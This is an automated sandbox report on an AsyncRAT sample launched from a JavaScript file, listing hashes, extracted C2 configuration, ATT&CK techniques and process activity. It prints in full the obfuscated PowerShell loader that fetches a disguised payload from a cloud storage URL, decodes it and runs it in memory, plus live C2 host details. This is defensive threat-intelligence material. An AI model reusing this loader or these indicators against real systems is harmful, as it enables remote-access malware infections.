asyncrat | e30619c3f664ef2600f68653b8b08ac8a36a43ddd9ebc2a84a64da5b8e2940bd

Analysis

user interaction
yes
max time kernel
149s
max time network
149s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
24/08/2026, 17:16

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General

Target
lxvldeos_CamNAlrl-lwnr/341-lmgeen.js
Size 90KB
Sample260824-vtbbxa1dkd
SHA256 e30619c3f664ef2600f68653b8b08ac8a36a43ddd9ebc2a84a64da5b8e2940bd
MD5 f4dfd8b61ccbf309c702efd4f5d99d2f
SHA1 94a88b99f6a2b9568e9dd3af75fd99019a0fef98
SHA512 ce9fbe19bbfe3cfce10316fd27fbef25918ed916bbf57adaa8962075f672c50cc8eb38dbafae22391b365d91be4f7ec468b3f1c1fe9e73b9a88efa86427a68ed
SSDEEP 768:g5XX5yBb0TigrgT3W0ElPSoTtqvN7lFETE7cSHxgF2q4oTs3qLBqNoGQqVv7uVFb:g5tSoTUkwu/LpQ17R6alw+sN
TLSH
T1E7935B204C68BE09ED78D934355F0691D6B682735460CF5DFA4C868A1FBA209BFC4EBD
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

x2 discovery execution asyncrat rat

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

exe.dropper
https://firebasestorage.googleapis.com/v0/b/sadam-bda08.firebasestorage.app/o/trafic%2Fy%2Fx2222222222222222.png?alt=media&token=96305c36-19ca-4564-97fd-746a6647ecc4

Extracted

Family

asyncrat

Version

1.0.7

Botnet

acwawaw53535.1cooldns.com:6667

Mutex

ddfdfd53535353535sddsd

Attributes

delay
1
install
false
install_folder
%AppData%

aes.plain

Signatures

Family: AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3576	4276	powershell.exe	82

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
4	3576	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3576	powershell.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 3576 set thread context of 4348	3576	powershell.exe	90

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSBuild.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
3576	powershell.exe
3576	powershell.exe
3576	powershell.exe
3576	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	3576	powershell.exe
Token: SeDebugPrivilege	4348	MSBuild.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 3576 wrote to memory of 4728	3576	powershell.exe	89
PID 3576 wrote to memory of 4348	3576	powershell.exe	90
PID 3576 wrote to memory of 4348	3576	powershell.exe	90
PID 3576 wrote to memory of 4348	3576	powershell.exe	90
PID 3576 wrote to memory of 4348	3576	powershell.exe	90
PID 3576 wrote to memory of 4348	3576	powershell.exe	90

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\lxvldeos_CamNAlrl-lwnr\341-lmgeen.js
1⤵
PID:1236

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "&([scriptblock]::Create('$parapsychology=''https://firebasestorage.googleapis.com/v0/b/sadam-bda08.firebasestorage.app/o/trafic%2Fy%2Fx2222222222222222.png?alt=media&token=96305c36-19ca-4564-97fd-746a6647ecc4''; $lackaday = [System.Net.HttpWebRequest]::Create($parapsychology); $lackaday.UserAgent = ''Mozilla/5.0''; $ostmannic = $lackaday.GetResponse().GetResponseStream(); $reader = New-Object IO.StreamReader($ostmannic); $symbranchii = $reader.ReadtoEnd(); $bhikkhu=''IN-''; $vagotropic=''-in1''; $subsulphate=[string]::IndexOf($symbranchii, $bhikkhu); $sagaciously=$symbranchii.LastIndexOf($vagotropic); if($subsulphate -eq -1 -or $sagaciously -eq -1){return}; $betol=$subsulphate+$bhikkhu.Length; $notarises=$symbranchii.Substring($symbranchii.IndexOf($bhikkhu)+$bhikkhu.Length, $sagaciously-($symbranchii.IndexOf($bhikkhu)+$bhikkhu.Length)); $soundpainting=$notarises.Replace(''*'',''A'').ToCharArray(); $likens = -join $soundpainting[($soundpainting.Length - 1)..0]; $cnv = [Type]::GetType((''Sys''+''tem''+''.Con''+''vert'') -join ''''); [byte[]]$hobblingly = $cnv.GetMethod((''Fr''+''omBase6''+''4St''+''ring'') -join '''').Invoke($null, ($likens)); $benzoxadiazines=[AppDomain]::(''Cu''+''rrentDomain'').GetType().GetMethod(''Lo''+''ad'', [byte[]]); $podometer=$benzoxadiazines.Invoke([AppDomain]::(''Cu''+''rrentDomain''), (,$hobblingly)); $lacinulose=(''hI2FiMkUz3CyqavqadSdV4K001nLaeXrFZiz6gE88rDUIDo9b0dfXM3k7O6N3SLJzbbuAP+64FsCWl1NXjLVCgej6e8ezO430XCoPR660tSn11YyW0KhHnQUO8T0/6mGyciyqB9x1GOs3DktAdj0X5951zQcELqWMHeyz3JRAMqiaIovf8gpSP1ZeTGd8KUeX3jvpmOrrNhyZGVHb6hggg3YYyBlp1rokNsFbCrJ1o8='','''',''0Q4wjTZhnspNoe0F8676RDK7+E6fbauaC42UQg5g47eKiQk7xE7Qh+7yFVDSGA4f'',''uZpot+vk0ghtHPkFn3igNSk9An0AMOyT2tf2n9eA/vM='',''5RL/BNQBc7T5ZUO6dzmBcaqQoBKM5Rom/3WU6ZwXUkQ='','''',''YbhrInPqkUeDSMW8Y/tBFArcobs7GpipFHbQfmI0pyo='','''','''',''WSDq1HzwJJB/fmG1u/WfoiW8c7yjKMfaGtJ/12QZ7HDaoxBXOo8o+kjGrUTEOYTY'',''TStHbYCqyT4hmq82NsJCaaoCspHW4/NqeMeh8d1PPyU='',''SH3Z9Zm77Yh1224qYkMEiP5GZ9+XmHLmvOTDOeAiHqg='',''4Lb6BTXqMzTxu3KQoi0vmDDfRqVook4SVr74fVzPAG8='','''',''+kU7E/Fle18YMwT0knAMeXEV3vk/7VKH/99GXU5Hb7g='',''vd9RtF6jWekSqA5ltMMUAAT6ODv1pipiuS0HKQEUpP4='','''','''',''''); try{$cryptogam=($podometer.GetTypes() | Where-Object Name -eq ''mpxnddVn'' | Select-Object -First 1); $galactotherapy=($cryptogam.GetMethods() | Where-Object Name -eq ''Otnmpxn'' | Select-Object -First 1); $galactotherapy.Invoke($null,[object[]]$lacinulose)}catch{}'))"
1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3576
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
  2⤵
  PID:4728
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of AdjustPrivilegeToken
  PID:4348

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

__PSScriptPolicyTest_gso4ttof.pny.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_gso4ttof.pny.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/3576-1-0x0000020092EC0000-0x0000020092ED0000-memory.dmp

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memory/3576-0-0x0000020092EC0000-0x0000020092ED0000-memory.dmp

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memory/3576-2-0x00000200AB900000-0x00000200AB922000-memory.dmp

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memory/3576-10-0x0000020092EC0000-0x0000020092ED0000-memory.dmp

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memory/3576-11-0x00000200ABE20000-0x00000200ABEF2000-memory.dmp

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memory/3576-12-0x00000200ABEF0000-0x00000200ABF02000-memory.dmp

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memory/3576-13-0x00000200ABDE0000-0x00000200ABDEA000-memory.dmp

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memory/4348-14-0x0000000000400000-0x0000000000412000-memory.dmp

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memory/4348-17-0x0000000005DC0000-0x0000000005E5C000-memory.dmp

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memory/4348-18-0x0000000006410000-0x00000000069B4000-memory.dmp

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memory/4348-19-0x0000000005ED0000-0x0000000005F36000-memory.dmp

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